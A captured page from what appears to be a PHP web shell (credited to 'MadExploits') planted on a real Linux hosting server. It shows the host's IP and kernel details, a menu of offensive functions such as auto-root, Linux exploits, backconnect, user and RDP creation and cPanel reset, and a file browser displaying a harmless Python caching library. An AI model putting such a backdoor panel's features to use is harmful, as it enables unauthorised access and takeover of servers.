Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.15.203.242
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
python35 /
lib /
python3.5 /
site-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
Cerberus-1.1-py3.5.egg-info
[ DIR ]
drwxr-xr-x
PyJWT-1.6.4-py3.5.egg-info
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
async_timeout
[ DIR ]
drwxr-xr-x
async_timeout-1.3.0-py3.5.egg-...
[ DIR ]
drwxr-xr-x
attr
[ DIR ]
drwxr-xr-x
attrs-17.4.0-py3.5.egg-info
[ DIR ]
drwxr-xr-x
cached_property-1.3.0-py3.5.eg...
[ DIR ]
drwxr-xr-x
cerberus
[ DIR ]
drwxr-xr-x
certifi
[ DIR ]
drwxr-xr-x
certifi-2018.4.16-py3.5.egg-in...
[ DIR ]
drwxr-xr-x
chardet
[ DIR ]
drwxr-xr-x
chardet-3.0.4-py3.5.egg-info
[ DIR ]
drwxr-xr-x
click
[ DIR ]
drwxr-xr-x
click-6.6-py3.5.egg-info
[ DIR ]
drwxr-xr-x
daemon
[ DIR ]
drwxr-xr-x
funcsigs
[ DIR ]
drwxr-xr-x
funcsigs-1.0.2-py3.5.egg-info
[ DIR ]
drwxr-xr-x
humanize
[ DIR ]
drwxr-xr-x
humanize-0.5.1-py3.5.egg-info
[ DIR ]
drwxr-xr-x
idna
[ DIR ]
drwxr-xr-x
idna-2.5-py3.5.egg-info
[ DIR ]
drwxr-xr-x
idna_ssl-1.0.1-py3.5.egg-info
[ DIR ]
drwxr-xr-x
jwt
[ DIR ]
drwxr-xr-x
lockfile
[ DIR ]
drwxr-xr-x
lockfile-0.12.2-py3.5.egg-info
[ DIR ]
drwxr-xr-x
mock
[ DIR ]
drwxr-xr-x
mock-2.0.0-py3.5.egg-info
[ DIR ]
drwxr-xr-x
pbr
[ DIR ]
drwxr-xr-x
pbr-1.8.1-py3.5.egg-info
[ DIR ]
drwxr-xr-x
peewee_migrate
[ DIR ]
drwxr-xr-x
peewee_migrate-0.6.4-py3.5.egg...
[ DIR ]
drwxr-xr-x
pip
[ DIR ]
drwxr-xr-x
pip-20.2.4.dist-info
[ DIR ]
drwxr-xr-x
pkg_resources
[ DIR ]
drwxr-xr-x
python_daemon-2.1.1-py3.5.egg-...
[ DIR ]
drwxr-xr-x
python_pam-1.8.4-py3.5.egg-inf...
[ DIR ]
drwxr-xr-x
sentry_sdk
[ DIR ]
drwxr-xr-x
sentry_sdk-0.7.10-py3.5.egg-in...
[ DIR ]
drwxr-xr-x
setuptools
[ DIR ]
drwxr-xr-x
setuptools-36.3.0.post20190319...
[ DIR ]
drwxr-xr-x
six-1.12.0-py3.5.egg-info
[ DIR ]
drwxr-xr-x
urllib3
[ DIR ]
drwxr-xr-x
urllib3-1.15.1-py3.5.egg-info
[ DIR ]
drwxr-xr-x
PySocks-1.5.7-py3.5.egg-info
322
B
-rw-r--r--
cached_property.py
3.81
KB
-rw-r--r--
easy_install.py
126
B
-rw-r--r--
idna_ssl.py
666
B
-rw-r--r--
pam.py
7.38
KB
-rw-r--r--
six.py
31.69
KB
-rw-r--r--
socks.py
29.25
KB
-rw-r--r--
sockshandler.py
2.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cached_property.py
# -*- coding: utf-8 -*- __author__ = 'Daniel Greenfeld' __email__ = 'pydanny@gmail.com' __version__ = '1.3.0' __license__ = 'BSD' from time import time import threading class cached_property(object): """ A property that is only computed once per instance and then replaces itself with an ordinary attribute. Deleting the attribute resets the property. Source: https://github.com/bottlepy/bottle/commit/fa7733e075da0d790d809aa3d2f53071897e6f76 """ # noqa def __init__(self, func): self.__doc__ = getattr(func, '__doc__') self.func = func def __get__(self, obj, cls): if obj is None: return self value = obj.__dict__[self.func.__name__] = self.func(obj) return value class threaded_cached_property(object): """ A cached_property version for use in environments where multiple threads might concurrently try to access the property. """ def __init__(self, func): self.__doc__ = getattr(func, '__doc__') self.func = func self.lock = threading.RLock() def __get__(self, obj, cls): if obj is None: return self obj_dict = obj.__dict__ name = self.func.__name__ with self.lock: try: # check if the value was computed before the lock was acquired return obj_dict[name] except KeyError: # if not, do the calculation and release the lock return obj_dict.setdefault(name, self.func(obj)) class cached_property_with_ttl(object): """ A property that is only computed once per instance and then replaces itself with an ordinary attribute. Setting the ttl to a number expresses how long the property will last before being timed out. """ def __init__(self, ttl=None): if callable(ttl): func = ttl ttl = None else: func = None self.ttl = ttl self._prepare_func(func) def __call__(self, func): self._prepare_func(func) return self def __get__(self, obj, cls): if obj is None: return self now = time() obj_dict = obj.__dict__ name = self.__name__ try: value, last_updated = obj_dict[name] except KeyError: pass else: ttl_expired = self.ttl and self.ttl < now - last_updated if not ttl_expired: return value value = self.func(obj) obj_dict[name] = (value, now) return value def __delete__(self, obj): obj.__dict__.pop(self.__name__, None) def __set__(self, obj, value): obj.__dict__[self.__name__] = (value, time()) def _prepare_func(self, func): self.func = func if func: self.__doc__ = func.__doc__ self.__name__ = func.__name__ self.__module__ = func.__module__ # Aliases to make cached_property_with_ttl easier to use cached_property_ttl = cached_property_with_ttl timed_cached_property = cached_property_with_ttl class threaded_cached_property_with_ttl(cached_property_with_ttl): """ A cached_property version for use in environments where multiple threads might concurrently try to access the property. """ def __init__(self, ttl=None): super(threaded_cached_property_with_ttl, self).__init__(ttl) self.lock = threading.RLock() def __get__(self, obj, cls): with self.lock: return super(threaded_cached_property_with_ttl, self).__get__(obj, cls) # Alias to make threaded_cached_property_with_ttl easier to use threaded_cached_property_ttl = threaded_cached_property_with_ttl timed_threaded_cached_property = threaded_cached_property_with_ttl
Close